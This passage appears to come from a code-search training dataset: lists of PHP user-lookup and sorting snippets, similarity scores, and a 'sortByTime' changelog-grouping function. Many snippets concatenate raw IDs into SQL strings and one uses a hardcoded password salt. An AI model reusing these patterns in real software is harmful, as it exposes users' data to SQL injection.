$this->user->get($where);\n\t\t\n\t\t$data['user_data'] = null;\n\t\tif (isset($user[0])) {\n\t\t\t$data['user_data'] = $user[0];\n\t\t}\n\t\t\n\t\t//user bet\n\t\t$data['user_bets'] = $this->get_bets($id_user);\n\t\t\n\t\t//user rides\n\t\t$data['user_rides'] = $this->get_rides($id_user);\n\t\t\n\t\t//users stats\n\t\t$data['user_stats'] = $this->get_stats($id_user);\n\t\t\n\t\t$this->layout->view('user/account', $data);\n\t}", "private function retrieveUserId($name,$log=false){\n\t\t$res = $this->_link->selectLCASE('users',array('id'),array('name'=>strtolower($name)),true,$log);\n\t\treturn $res['id'];\n\t}", "public function selectuser(){\r\n\t\t$query = \"SELECT * FROM users\";\r\n\t\t$add_query = parent::get_results($query);\r\n\t\t\r\n\t\treturn $add_query;\r\n\t\t// echo '<pre>';\r\n\t\t// print_r( $add_query );\r\n\t\t// echo '</pre>';\r\n\t\t// exit;\r\n\t}", "function get_user_by_id($id) {\r\n\t\t$query = $this->db->query('SELECT user_fname, user_lname, user_email\r\n\t\t\t\t\t\t\t\t\tFROM user\r\n\t\t\t\t\t\t\t\t\tWHERE user_id = '.$id.'');\r\n\t\treturn $query->result();\r\n\t}", "function getUserID($accountId,$status,$DbC)\n{\n\t$query=\"SELECT user_id FROM account USE INDEX(accountid_status) WHERE account_id='$accountId' AND status=$status\";\n\t$result=mysql_query($query,$DbC);\n\t$row=mysql_fetch_row($result);\n\treturn $row[0];\t\n}", "public function getUser($account_id) {\n $this->db->select('*');\n $this->db->where('account_id', $account_id);\n $this->db->where('archive', 1);\n $res = $this->db->get('users');\n $result = $res->result_array();\n if ($result) {\n return $result;\n } else {\n return FALSE;\n }\n }", "private function getUserById($id) {\n\t\t$em = $this->getDoctrine()->getManager()->getRepository('AppBundle\\Entity\\User');\n\n\t\t$user = $em->findOneById($id);\t\n\t\t\n\t\treturn $user;\n\t}", "function get_user($id)\r\n\t{\r\n\t\t$this->db->select(\"users.*, admin.privil\");\r\n\t\t$this->db->from(\"users\");\r\n\t\t$this->db->join(\"admin\", \"users.uid = admin.uid\", \"left\");\r\n\t\t$this->db->group_by(\"users.uid\");\r\n\t\t$this->db->where('users.uid', $id);\r\n\r\n\t\t$query = $this->db->get();\r\n\t\t$result = $query->result_array();\r\n\r\n\t\tif($query) return $result[0];\r\n\r\n\t\treturn false;\r\n\t}", "function find_user_by_id($id)\r\n{\r\n global $db;\r\n\r\n $q = $db->prepare('SELECT name, pseudo, email, city, country, twitter, github, \r\nfacebook, sex, available_for_hiring, bio FROM users WHERE id=?');\r\n $q->execute([$id]);\r\n\r\n $data = $q->fetch(PDO::FETCH_OBJ);\r\n\r\n $q->closeCursor();\r\n return $data;\r\n}", "public function actionSelectUser($id)\n {\n $id = new \\MongoId($id);\n $users = [];\n $params = $this->getParams('users');\n if (!empty($params)) {\n // convert string id to mongo id\n foreach ($params as $userId) {\n $userId = new \\MongoId($userId);\n array_push($users, $userId);\n }\n }\n // update the users of sensitive options\n $count = SensitiveOperation::updateAll(['users' => $users], ['_id' => $id]);\n return (boolean) $count;\n }", "function getUserById($user_id)\n\t{\n\t\t$user_info = false;\n\t\t\n\t\tif (is_numeric($user_id) && $user_id>0) {\n\t\t\t$this->db->where(array( 'id' => $user_id, 'activated' => 1));\n\t\t\t$query = $this->db->get($this->table_name);\n\t\t\t$num_rows = $query->num_rows();\n\t\t\tif ($num_rows == 1) {\n\t\t\t\t$users_info = $query->result();\n\t\t\t\t$user_info = $users_info[0];\n\n\t\t\t} elseif ($num_rows > 2) {\n\t\t\t\t// ---------------------------------------- \n\t\t\t\t// @TODO mandar un correo de aviso.\n\t\t\t\t// ----------------------------------------\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $user_info;\n\t}", "public function get_user($id) {\n $this->db->where('id', $id);\n $query = $this->db->get('users');\n \n return $query->row();\n }", "function getUser($id, $conn) {\n $sql = 'SELECT * FROM user WHERE userID = ? AND deleted = 0;';\n $stmt = $conn->prepare($sql);\n $stmt->execute([$id]);\n $result = $stmt->fetch();\n // Check if there is only one user \n return ($stmt->rowCount() === 1)? $result : 'No user found';\n}", "function getUserById($id){\n global $conn;\n $query = \"SELECT * FROM users WHERE id= '$id'\";\n $result = mysqli_query($conn, $query);\n\n $user = mysqli_fetch_assoc($result);\n return $user;\n}", "public static function getUserObjectFromId($id){\n $pdo = static::getDB();\n\n $sql = \"select * from users where user_id = :id\";\n\n $result = $pdo->prepare($sql);\n \n $result->execute([$id]);\n\n $user_array = $result->fetch(); \n\n if($user_array){\n if($user_array['USER_ROLE'] == Trader::ROLE_TRADER){\n return static::getTraderObjectFromEmail($user_array['EMAIL']);\n }\n return new User($user_array);\n }\n return false;\n }", "function getAccountID () {\r\n //checks if the user is logged in\r\n if (checkLogin()) {\r\n //gets the ID\r\n $ID = getPersonID();\r\n //setup sql query\r\n $sql = \"SELECT AccountID FROM accounts WHERE PersonID = $ID\";\r\n //runs the query\r\n $stmt = runQuery($sql);\r\n //checks if we found atleast 1 account\r\n if ($stmt->rowCount() > 0) {\r\n $row = $stmt->fetch();\r\n //returns the ID\r\n return $row['AccountID'];\r\n }\r\n }\r\n return null;\r\n}", "function selectUserInfo($userId) {\n // 1) get Connection\n $dbInfo = new DBInfo();\n $con = $dbInfo->getConnection();\n if(!$con) {\n echo 'false_selectUserInfo_connect';\n return;\n }\n\n // 2) set SQL sentence\n $sql = \"SELECT u.id, u.pw, u.user_name, u.grade, g.g_name\n FROM user_info u\n JOIN grade_info g\n ON (u.grade = g.id)\n WHERE u.id = '{$userId}'\";\n\n // 3) act SQL\n if(!($result = $con->query($sql))) {\n echo 'false_selectUserInfo_sqlQuery';\n return;\n }\n\n if(!$result) {\n echo 'false_selectUserInfo_noSelect';\n return;\n }\n $con->close();\n\n // 4) create user info object\n $infoAry = $result->fetch_assoc();\n $userInfoObj = new UserInfo($infoAry['id'], $infoAry['pw'], $infoAry['user_name'],\n $infoAry['grade'], $infoAry['g_name']);\n\n return $userInfoObj;\n }", "function get_user($user_id){\n\tglobal $connection;\n\t$get_user= mysqli_query($connection,\"SELECT * FROM kp_users WHERE user_id='$user_id'\");\n\t$row = mysqli_fetch_assoc($get_user);\n\t$name = strtoupper($row['username']);\n\treturn $name;\n}", "function get_user_by_id($user_id) {\n $query = $this->db->query(\"SELECT * FROM mbf_user where id=$user_id\");\n $result = $query->result();\n if ($query->num_rows() > 0){\n return $result[0];\n }else{\n return array();\n }\n }", "public function view_user($id)\n {\n\n\n }", "function find_user() //функция авторизации пользователя\n\t{\n\t\t//echo \"Hello <br/>\";\n\t\t$sth = $this->db->prepare(\"SELECT id, username FROM accounts WHERE username = :username AND password = :password\");\n \t\t$sth->execute(array(\n\t\t\t\t\t\t\t':username'=>$_POST['username'], \n\t\t\t\t\t\t\t':password' =>Hash::create('sha256', $_POST['password'], 'cats do not fliing')\n \t\t\t\t\t));\n\n \t/*$result = $sth->fetchAll();\n\t\tprint_r($result);*/\n\t\t$data = $sth->fetch();\n\t\t//print_r($data);\n\n\t\t$count = $sth->rowCount();\n\t\tif($count > 0)\n\t\t{\n\t\t\t//logged in\n\t\t\tSession::init();\n\t\t\tSession::set('username', $data['username'] );\n\t\t\tSession::set('loggedIn', true);\n\t\t\theader('location: ../dashboard');\n\t\t}\n\t\telse\n\t\t{\n\t\t\theader('location: ../login');\n\t\t}\n\t\t\n\t}", "function getUserById( $user_id ) {\n global $mysqli;\n $select = \"SELECT * FROM `users` WHERE `id`=$user_id\";\n $results = $mysqli->query( $select );\n if( $results->num_rows === 1 ) {\n $user = $results->fetch_assoc();\n return $user;\n } else {\n return false;\n }\n}", "function getUserbyId($id){\n\t\t$conn \t= connectDB();\n\t\t$sth \t= $conn \t-> prepare('SELECT *\n\t\t\t\t\t\t\t\t\t\tFROM `clients`\n\t\t\t\t\t\t\t\t\t\tWHERE `id` = ?');\n\t\t$sth \t-> execute(array($id));\n\t\treturn \t$sth ;\n\t}", "public function selectUserByID($uid)\n {\n $result = $this->sdb->query(\n \"select id,active,username,email,first,last,\n fullname,avatar,avatar_small,avatar_large,work_email, work_phone, affiliation,preferred_rules\n from appuser where appuser.id=$1\",\n array($uid));\n $row = $this->sdb->fetchrow($result);\n if ($row && array_key_exists('active', $row))\n {\n $row['active'] = $this->sdb->pgToBool($row['active']);\n return $row;\n }\n return false;\n }", "function find_user ( $ID ){\n\tglobal $access_token, $canvas_base_url;\n\t\n\t$url=$canvas_base_url.\"/api/v1/accounts/1/users.json?access_token=\".$access_token;\n\t\n\t$data=array('search_term'=>$ID);\n\t\n\t// Get cURL resource\n\t$curl = curl_init();\n\t// Set some options - we are passing in a useragent too here\n\tcurl_setopt_array($curl, array(\n\t CURLOPT_RETURNTRANSFER => 1,\n\t CURLOPT_CUSTOMREQUEST => 'GET',\n\t CURLOPT_URL => $url,\n\t CURLOPT_POSTFIELDS => $data,\n\t CURLOPT_USERAGENT => 'Matt Loves cURLing Things'\n\t));\n\t// Send the request & save response to $resp\n\t$resp = json_decode(curl_exec($curl));\n\t// Close request to clear up some resources\n\tcurl_close($curl);\n\t\n\t$canvasID=$resp[0]->id;\n\t\n\treturn $canvasID;\n}", "public function getUserByID($id)\n {\n return $this->db->get_where('temp_user', array('id' => $id));\n }", "public function getUserWithId($id){\r\n\r\n\t\t$sql = \"Select * from users where id = ?\";\r\n\t\t$query = $this->db->prepare($sql);\r\n\t\t$query->execute([$id]);\r\n\r\n\t\t$postOwner = $query->fetch(PDO::FETCH_OBJ);\r\n\t\treturn $postOwner;\r\n\t}", "function edit_account($emp_id) {\n $mysqli = $this->mysqli;\n $sql = \"SELECT * FROM employee INNER JOIN users on `employee`.`emp_id`=`users`.`emp_id` where `users`.`emp_id`='$emp_id'\";\n if ($val = $mysqli->query($sql)) {\n return $val;\n }\n else {\n $mysqli->error;\n }\n }", "function admin_get_user($id)\n{\n global $app;\n\n // parameter checking\n if (!is_numeric($id)) {\n $app->getLog()->warn('admin_get_user: invalid user id ' . $id);\n $app->halt(400, \"Bad parameter\");\n }\n\n $user = $app->bbs->user($id);\n $languages = $app->calibre->languages();\n foreach ($languages as $language) {\n $language->key = $language->lang_code;\n }\n $nl = new Language();\n $nl->lang_code = getMessageString('admin_no_selection');\n $nl->key = '';\n array_unshift($languages, $nl);\n $tags = $app->calibre->tags();\n foreach ($tags as $tag) {\n $tag->key = $tag->name;\n }\n $nt = new Tag();\n $nt->name = getMessageString('admin_no_selection');\n $nt->key = '';\n array_unshift($tags, $nt);\n $app->getLog()->debug('admin_get_user: ' . var_export($user, true));\n $app->render('admin_user.html', [\n 'page' => mkPage(getMessageString('admin_users'), 0, 3),\n 'user' => $user,\n 'languages' => $languages,\n 'tags' => $tags,\n 'isadmin' => is_admin()]);\n}", "protected function QueryForID_() {\n $table = Database::GetAccountTypeTableName($this->accountType);\n $queryStr = \"SELECT id FROM {$table} WHERE username='{$this->username}';\";\n\n $result = $this->db->sql->query($queryStr);\n\n if ($result && $result->num_rows > 0) {\n $this->id = $result->fetch_assoc()[\"id\"];\n $result->free();\n }\n }", "public function get_user_id();", "function get_user_by_userid($db, $userid)\n{\n\n\t$sql = 'SELECT * FROM users where id='.$userid;\n\t$st = $db->prepare($sql);\n\t$st->execute();\n\t$us = $st->fetchAll();\n\treturn $us[0];\n}", "function get_user_by_id($user_id) {\n\t\t$this->db->where('id', $user_id);\n\n\t\t$query = $this->db->get($this->table_name);\n\t\tif ($query->num_rows() == 1) {\n\t\t\treturn $query->row();\n\t\t}\n\n\t\treturn NULL;\n\t}", "public function loginSelect($id)\n {\n $dbQry=new DatabaseConn();\n $dbConn=$dbQry->DBConn();\n\t\n\t$ack_array=array();\n\tif($id!=NULL)\n\t{\n\t\t $query=mysql_query(\"SELECT * FROM users WHERE id_number='$id'\");\n\t\t \n\t\t if(mysql_affected_rows()==1)\n\t\t {\n\t\t \n\t\t\t $ack=\"The user already exists<br/>\";\n\t\t\t array_push($ack_array,$ack);\n\t\t\t return $ack_array;\n\t\t }\n\t\t else if(mysql_affected_rows()==0)\n\t\t {\n\t\t\t $ack=\"The user does not exists<br/>\";\n\t\t\t array_push($ack_array,$ack);\n\t\t\t return $ack_array;\n\t\t }\n\t}\n\t\n \n }", "function getLoginFromId ( $id)\r\n{\r\n $sql = \"SELECT username\r\n\t\t\tFROM \" . dropbox_cnf(\"tbl_user\") . \"\r\n\t\t\tWHERE user_id='\" . addslashes( $id) . \"'\";\r\n $result =api_sql_query($sql,__FILE__,__LINE__);\r\n $res = mysql_fetch_array( $result);\r\n if ( $res == FALSE) return FALSE;\r\n return stripslashes( $res[\"username\"]);\r\n}", "function selectSessionId($con,$user){\n\n $idUsuario = \"--\";\n\n $sql = \"SELECT id FROM clientes WHERE nick_user = ? LIMIT 1\";\n\n $valor = $user;\n\n $consulta = $con->prepare($sql);\n\n $consulta->bind_param(\"s\",$valor);\n\n $consulta->execute();\n\n $consulta->bind_result($user);\n\n while($consulta->fetch()){\n\n $idUsuario = $user;\n }\n\n return $idUsuario;\n}", "public function getUserById($id){\n // Query for the user.\n $this->db->query('SELECT * FROM users WHERE id = :id');\n // Bind the values.\n $this->db->bind(':id', $id);\n // Return the row. \n $row = $this->db->single();\n\n return $row;\n }", "function findById($id){\n\t\tUtilidades::_log(\"findById($id)\");\n\t\t$query = \"SELECT id,name,account,surnames,email,pass,address,access\n\t\t\t\t\tFROM user WHERE id = $id\";\n\t\t$row = DB::ejecutarConsulta($query);\n\t\t\n\t\treturn new UserDAO($row[0]);\n\t}", "function getUser($user, $id) {\n return $user->readByID($id);\n}", "function getUserById($id) {\n\t$result = mysql_query(\"SELECT userId, email, password FROM users where userId = $id\");\n\t$row = mysql_fetch_array($result, MYSQL_ASSOC);\n\tmysql_free_result($result);\n\treturn $row;\n}", "public function get_username($id) {\n $conn = db();\n $sql = \"SELECT username FROM user WHERE id = $id\";\n $result = $conn->query($sql);\n $user_data = $result->fetch_assoc();\n echo $user_data['username'];\n }", "function getUser($id)\n{\n\tif (in_array($_SESSION['user']['role'], ['admin'])) {\n\t\tglobal $conn, $roles;\n\t\t$sql = \"SELECT * FROM users WHERE role = 'seeker' and u_name=$id limit 1\"; //WHERE role IS NOT NULL\n\t\t$result = mysqli_query($conn, $sql);\n\t\t$users = mysqli_fetch_all($result, MYSQLI_ASSOC);\n\n\t\treturn $users;\n\t} else {\n\t\treturn null;\n\t}\n}", "function getUserById($id) {\n // connexion à la BDD\n $db = connect();\n // requête\n $query = $db -> prepare('SELECT * FROM users WHERE id = :id');\n // exécution\n $query -> execute(array(\n ':id' => $id\n ));\n // renvoie un tableau associatif\n return $query -> fetch();\n}", "public function getAccountID();" ]
[ "0.7664709", "0.6705999", "0.66899765", "0.6689069", "0.6681172", "0.66301227", "0.65499127", "0.6532827", "0.6513161", "0.64728945", "0.6456764", "0.6455201", "0.64372927", "0.64233357", "0.63930756", "0.638349", "0.63700897", "0.6369438", "0.6335368", "0.6315087", "0.63149816", "0.6311985", "0.62992436", "0.6293485", "0.62880796", "0.62725455", "0.6254214", "0.6252687", "0.6230359", "0.62275404", "0.6213663", "0.62132037", "0.6209166", "0.6205659", "0.6197921", "0.6179292", "0.61785775", "0.61754453", "0.61750245", "0.6155098", "0.6153022", "0.61482847", "0.6148262", "0.61409056", "0.6140897", "0.6138071", "0.61257684", "0.61238134", "0.6071171", "0.60654986", "0.606332", "0.6056729", "0.60548085", "0.6052475", "0.6043215", "0.60407805", "0.60291594", "0.6022689", "0.60169804", "0.5995032", "0.5988883", "0.59802854", "0.5971394", "0.59666723", "0.5959074", "0.5956786", "0.5954908", "0.595167", "0.59429795", "0.59406334", "0.59390396", "0.5937796", "0.593703", "0.5934985", "0.5934355", "0.59341896", "0.59241766", "0.59208405", "0.5920728", "0.59158427", "0.5914693", "0.59133565", "0.59103084", "0.59096307", "0.5908734", "0.5898968", "0.5896407", "0.5894701", "0.58941203", "0.5889835", "0.5889229", "0.5888446", "0.58878505", "0.58811814", "0.5880347", "0.5879239", "0.58777916", "0.58771026", "0.58757603", "0.5872855" ]
0.5941226
69
Sort by time and get the new array
public function sortByTime($changelog_items) { $new_array = array(); foreach($changelog_items as $item) { // If we dont got the time yet add it to the new array if(!array_key_exists(date("Y/m/d", $item['time']), $new_array)) { //Assign an array to that key $new_array[date("Y/m/d", $item['time'])] = array(); } // Do the same but then for the typeName if(!array_key_exists($item['typeName'], $new_array[date("Y/m/d", $item['time'])])) { //Assign an array to that key $new_array[date("Y/m/d", $item['time'])][$item['typeName']] = array(); } array_push($new_array[date("Y/m/d", $item['time'])][$item['typeName']], $item); } return $new_array; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function sortResultsByDistanceTime($appts){\n\tforeach ($appts as $appt) { \n\t\t$times[] = $appt[\"time\"];\n\t\t$distances[] = $appt[\"distance\"];\n\t}\n\t\n\t// Find closest and earliest \n\tarray_multisort($distances, SORT_ASC, $times, SORT_ASC, $appts);\n\n\t// Slice top result\n\t$closest = array_shift($appts);\n\t\n\t// Sort rest by time\n\t$appts = sortResults($appts, \"time\");\n\t\n\t// Add closest to top of Array\n\tarray_unshift($appts, $closest);\t\n\t\n\treturn $appts;\n}", "public function asort() {}", "public function time_sort($timeslots) \n {\n usort($timeslots, function ($t1,$t2) \n {\n if ($t1->get_start()==$t2->get_start()) \n return 0;\n \n return ($t1->get_start()<$t1->get_start())?-1:1;\n });\n }", "public function sortArrayByDate($array) {\n //so they can be displayed in the correct order regardless of when they were entered\n for($i = 1; $i < count($array); $i++) {\n //Storing current entry\n $entry = $array[$i];\n \n //Storing date of current entry\n $date = $array[$i]->{'Datum'};\n \n //Storing $i in separate variable $j for manipulation\n $j = $i;\n \n //As long as $j is greater than zero (index of the first entry) and the date of the entry in the previous iteration\n //is less than that of the current entry\n while($j > 0 && $array[$j - 1]->{'Datum'} < $date) {\n \n //The entry at the index of the current iteration is assigned the value of the previous iteration\n $array[$j] = $array[$j - 1];\n \n //$j is decremented in order to move \"left\" in the array\n $j -= 1;\n }\n \n //When there are no longer any entries with earlier dates,\n //place the stored entry at the position we are currently in\n $array[$j] = $entry;\n }\n \n return $array;\n \n }", "private static function sortByTime($a, $b) {\n return $b['created_utc'] - $a['created_utc'];\n }", "public function sort_data_table($arr, $timming, $isAsc = false){\n $new = array();\n for($i=0;$i<count($arr);$i++){\n $sort_key = $arr[$i]['log_date'];\n if($timming != \"4\" && $timming != \"5\" && $timming != \"6\"){\n $t1 = explode(\"-\", substr($arr[$i]['log_date'],0,7));\n $sort_key = $t1[1] . \"-\" . $t1[0];\n }\n $new[$sort_key] = $arr[$i];\n }\n if($isAsc == true){\n \tksort($new);\n }\n $return = array();\n foreach($new as $sort_key => $value){\n $return[] = $value;\n }\n return $return;\n }", "private function update_data_filter_and_sort()\n {\n\n $array = get_data_from_API();\n //create a new array for only the data we want\n $filteredEvents = array();\n\n //loop through the array with all event data. \n foreach ($array as $events) {\n //Pull the data we want. \n $eName = $events['event']['name'];\n $eDate = $events['event']['end_date'];\n $eDate = str_replace('-', '/', $eDate);\n //grab the event's end date and save it as a datetime object for comparison\n $eDateTime = strtotime($eDate);\n $sDate = $events['event']['start_date'];\n $sDate = str_replace('-', '/', $sDate);\n $eLink = \"placeholder.com\";\n\n //Save it into an array called $singleEvent\n $singleEvent = array(\n 'name' => $eName,\n 'start_date' => $sDate,\n 'end_date' => $eDate,\n 'event_link' => $eLink\n );\n\n\n //checks to see if the $singleEvent is relevant or not (older than today's date)\n $date_now = getDatetimeNow();\n\n $date_now = strtotime($date_now);\n\n //if today's date is less than the stored date, add it\n //(i.e. the event hasn't happened yet, it is an upcoming event)\n if ($eDateTime > $date_now && $eDateTime != null) {\n array_push($filteredEvents, $singleEvent);\n } else {\n //do nothing\n }\n }\n\n //sort the array ascending by dates (most recent event first)\n foreach ($filteredEvents as $key => $value) {\n $sort_data[$key] = $value['end_date'];\n }\n array_multisort($sort_data, SORT_ASC, $filteredEvents);\n\n return $filteredEvents;\n }", "public function sort();", "public function get_assoc() {\n krsort($this->timeline);\n\n //sort times\n foreach ($this->timeline as &$elm) {\n usort($elm, function ($a, $b) {\n return -1 * strcmp($a['time'], $b['time']);\n });\n }\n return $this->timeline;\n }", "protected function sortDataArray() {}", "public function getTimeSort()\n {\n return $this->timeSort;\n }", "function sortTransits() {\n $sortedtransits = array();\n for( $aspect = 0; $aspect < count($this->m_transit); $aspect++ ) {\n $sortedtransits[substr($this->m_transit[$aspect],17,11)] = $this->m_transit[$aspect];\n }\n ksort($sortedtransits);\n\n unset($this->m_transit);\n $this->m_transit = array();\n reset($sortedtransits);\n while( list($key,$value) = each($sortedtransits) ) {\n array_push(\n $this->m_transit,\n $value\n );\n }\n }", "protected function _getSortedTimers() {\n\t\t\t$timers = array();\t\t \n\t\t\tforeach (Varien_Profiler::getTimers() as $name => $timer) {\n\t\t\t\t$sum = number_format(Varien_Profiler::fetch($name, 'sum'), 4);\n\t\t\t\t$count = Varien_Profiler::fetch($name, 'count');\n\t\t\t\t$emalloc = Varien_Profiler::fetch($name, 'emalloc');\n\t\t\t\t$realmem = Varien_Profiler::fetch($name, 'realmem');\n\t\t\t\t \n\t\t\t\t// Filter out entries of little relevance\n\t\t\t\tif ($sum < .0010 && $count < 10 && $emalloc < 10000)\n\t\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t \n\t\t\t\t$row = array($name, number_format($sum, 4), $count, number_format($emalloc), number_format($realmem));\n\t\t\t\t$timers[] = $row;\n\t\t\t}\n\t\t\tusort($timers, array($this, '_sortTimers'));\n\t\t\treturn $timers;\n\t\t}", "function antwort($data, $i = 0)\n{\n $sorted = true;\n foreach ($data as $key => $value) {\n if (key_exists($key + 1, $data) && $value > $data[$key + 1]) {\n array_push($data, $value);\n unset($data[$key]);\n $sorted = false;\n }\n }\n if (!$sorted) $data = antwort(array_values($data), ++$i);\n else $data['times'] = 'sorting took ' . $i . ' times';\n return $data;\n}", "function sortFunction( $a, $b ) {\n\t\t\t\treturn strtotime($a[\"event_start_date_time\"]) - strtotime($b[\"event_start_date_time\"]);\n\t\t\t}", "protected function sort()\n {\n $stop = $this->departure;\n $cards = $this->cards;\n $this->cards = array();\n \n while ($stop != $this->arrival) {\n foreach ($cards as $index => $card) {\n if ($card->getOrigin() == $stop) {\n $this->cards[] = $card;\n $stop = $card->getDestination();\n unset($cards[$index]);\n }\n }\n }\n }", "function chronological($events) {\n\t\tforeach($events as $time => $timeEvents) {\n\t\t\tforeach($timeEvents as $key => $message) {\n\t\t\t\t$player = explode('## ', $message)[0];\n\t\t\t\t$msg = explode('## ', $message)[1];\n\t\t\t\t$t = timeFormat($time);\n\n\t\t\t\tif($msg === 'grabs flag 1') {\n\t\t\t\t\tforeach($timeEvents as $_key => $_message) {\n\t\t\t\t\t\t$_player = explode('## ', $_message)[0];\n\t\t\t\t\t\t$_msg = explode('## ', $_message)[1];\n\t\t\t\t\t\t$_t = timeFormat($_time);\n\n\t\t\t\t\t\tif($msg != $_msg) {\n\t\t\t\t\t\t\tif($_msg == 'drops flag 1') {\n\t\t\t\t\t\t\t\tunset($events[$time][$key]);\n\t\t\t\t\t\t\t\t$events[$time+1][0] = $player . '## grabs flag 1';\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tksort($events);\n\t\t// error_log(print_r($events, true));\n\n\t\treturn $events;\n\t}", "function mostrecent($a, $subkey){\n\tforeach($a as $k => $v)\n\t{\n\n\t\t$b[$k] = strtotime($v[$subkey]);\t\n\t\n\t}\t\n\tarsort($b);\t\n\tforeach($b as $key=>$val)\n\t{\t\t\n\t\t\n\t\t$c[]=$a[$key];\t\n\t\n\t}\t\n\t\n\t\treturn $c;\t\n}", "function sortFunction( $a, $b ) {\n return strtotime($a[0]) - strtotime($b[0]);\n }", "public static function _sortEventsByTime($a, $b)\n\t{\n\t\t//if ($a->publish_up() == $b->publish_up()) return 0;\n\n\t\tlist($adate, $atime) = explode(' ', $a->publish_up());\n\t\tlist($bdate, $btime) = explode(' ', $b->publish_up());\n\n\t\t// if allday event, sort by title first on day\n\t\tif ($a->alldayevent())\n\t\t\t$atime = '00:00' . $a->title();\n\t\tif ($b->alldayevent())\n\t\t\t$btime = '00:00' . $b->title();\n\n\t\treturn strcmp($atime, $btime);\n\n\t}", "function database_benchmark_sort()\n {\n if( !function_exists('dbtimecmp') )\n {\n function dbtimecmp($a, $b)\n {\n //return ( $a['time']==$b['time'] ? 0 : ($a['time']<$b['time'] ? -1 : 1) );\n return ( (float)$a['time']==(float)$b['time'] ? 0 : ((float)$a['time']>(float)$b['time'] ? -1 : 1) );\n }\n }\n \n usort($this->log_data, 'dbtimecmp');\n \n return '';\n }", "function sortByDate( $a, $b ) {\n return strtotime($b[\"date\"]) - strtotime($a[\"date\"]);\n}", "protected function _sortTimers(array $a, array $b) {\n\t\t\tif ($a[1] === $b[1])\n\t\t\t{\n\t\t\treturn 0;\n\t\t\t}\n\t\t\treturn $a[1] < $b[1] ? 1 : -1;\n\t\t}", "private function _sort_by_added($a, $b)\n {\n if(strpos($a['date_scanned'], \":\") !== false) {\n $adate = DateTime::createFromFormat('j M Y H:i', $a['date_scanned']);\n } else {\n $adate = DateTime::createFromFormat('j M Y', $a['date_scanned']);\n }\n\n if(strpos($b['date_scanned'], \":\") !== false) {\n $bdate = DateTime::createFromFormat('j M Y H:i', $b['date_scanned']);\n } else {\n $bdate = DateTime::createFromFormat('j M Y', $b['date_scanned']);\n }\n\n if($bdate == $adate){\n return $this->_sort_by_show($a, $b);\n }\n\n if($this->sorting_order == \"az\")\n {\n return ($adate > $bdate);\n }\n\n return ($adate < $bdate);\n }", "function sortEvents($x,$y)\n\t\t{\n\t\t\tinclude \"convertTime.php\";\n\t\t\t\n\t\t\t// Converts all times to 24 hour time\n\t\t\t$xStart = convertTime($x[1],$x[2],$x[3]);\n\t\t\t$yStart = convertTime($y[1],$y[2],$y[3]);\n\t\t\t$xEnd = convertTime($x[4],$x[5],$x[6]);\n\t\t\t$yEnd = convertTime($y[4],$y[5],$y[6]);\n\t\t\t\n\t\t\t// Checks which event starts first\n\t\t\tif($xStart==$yStart)\n\t\t\t{\n\t\t\t\t// If the start times are equal then it checks end times\n\t\t\t\tif($xEnd==$yEnd)\n\t\t\t\t{\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t\telse if($xEnd>$yEnd)\n\t\t\t\t{\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if($xStart>$yStart)\n\t\t\t{\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}", "function sortFunction( $a, $b ) {\n return strtotime($b[\"date\"]) - strtotime($a[\"date\"]);\n}", "private function sortEventList($eventList){\n $anz = count($eventList);\n $temp=\"\";\n for ($a = 0; $a < $anz; $a++) {\n for ($b = 0; $b < $anz -2; $b++) {\n if ($eventList[$b +1]->start_date < $eventList[$b]->start_date) {\n $temp = $eventList[$b];\n $eventList[$b] = $eventList[$b +1];\n $eventList[$b +1] = $temp;\n }\n }\n }\n return $eventList;\n }", "public function timetable_feed() {\n\t\t\t// ->wherePivot('complete', '=', 'false')->orWherePivot('updated_at', '>', Carbon::now()->subMinutes(15))\n\t\t\t$items = $this->lessons()->where('end', '>', date(\"Y-m-d H:i:s\", time()))->where('start', '<', date(\"Y-m-d H:i:s\", time() + 60 * 60 * 24 * 7))->orderBy('end', 'ASC')->get();\n\n\t\t\t$headings = [];\n\n\t\t\tforeach ($items as $value) {\n\t\t\t\t$now = Carbon::now();\n\t\t\t\t$index = static::time_index($value->start, $now);\n\t\t\t\t$heading = static::time_heading($value->start, $now);\n\n\t\t\t\tif (!isset($headings[$index]))\n\t\t\t\t\t$headings[$index] = [\n\t\t\t\t\t\t'heading' => $heading,\n\t\t\t\t\t\t'items' => []\n\t\t\t\t\t];\n\n\t\t\t\t$headings[$index]['items'][] = $value;\n\t\t\t}\n\n\t\t\tksort($headings);\n\n\t\t\treturn $headings;\n\t\t}", "function sortFunction( $a, $b ) {\n return strtotime($a['date']) - strtotime($b[\"date\"]);\n}", "public static function sort(&$array, $orderBy) {\n $new_array = array();\n foreach ($array as $key => $obj) {\n $new_array[$key] = get_object_vars($obj->getEntity());\n $obj->hash = $new_array[$key]['hash'] = spl_object_hash($obj);\n }\n\n $new_array = self::sort_array_multidim($new_array, $orderBy);\n\n $output = array();\n foreach ($new_array as $key => $value) {\n\n }\n print_r($new_array);\n }", "private function _sort_by_added($a, $b)\n {\n if(strpos($a['date_scanned'], \":\") !== false) {\n $adate = DateTime::createFromFormat('j M Y H:i', $a['date_scanned']);\n } else {\n $adate = DateTime::createFromFormat('j M Y', $a['date_scanned']);\n }\n\n if(strpos($b['date_scanned'], \":\") !== false) {\n $bdate = DateTime::createFromFormat('j M Y H:i', $b['date_scanned']);\n } else {\n $bdate = DateTime::createFromFormat('j M Y', $b['date_scanned']);\n }\n\n if($this->sorting_order == \"az\")\n {\n return ($adate > $bdate);\n }\n\n return ($adate < $bdate);\n }", "function sort_by_updated ($a, $b) {\n\t\treturn strtotime($b['LASTCHANGEDDATE']) - strtotime($a['LASTCHANGEDDATE']);\n\t}", "protected function _getSortedObservers()\n {\n $array = $this->_splObjectStorageToArray($this->observers);\n\n usort($array, function ($a, $b) {\n return (int) $a['data'] < (int) $b['data'];\n });\n\n return array_map(function ($item) 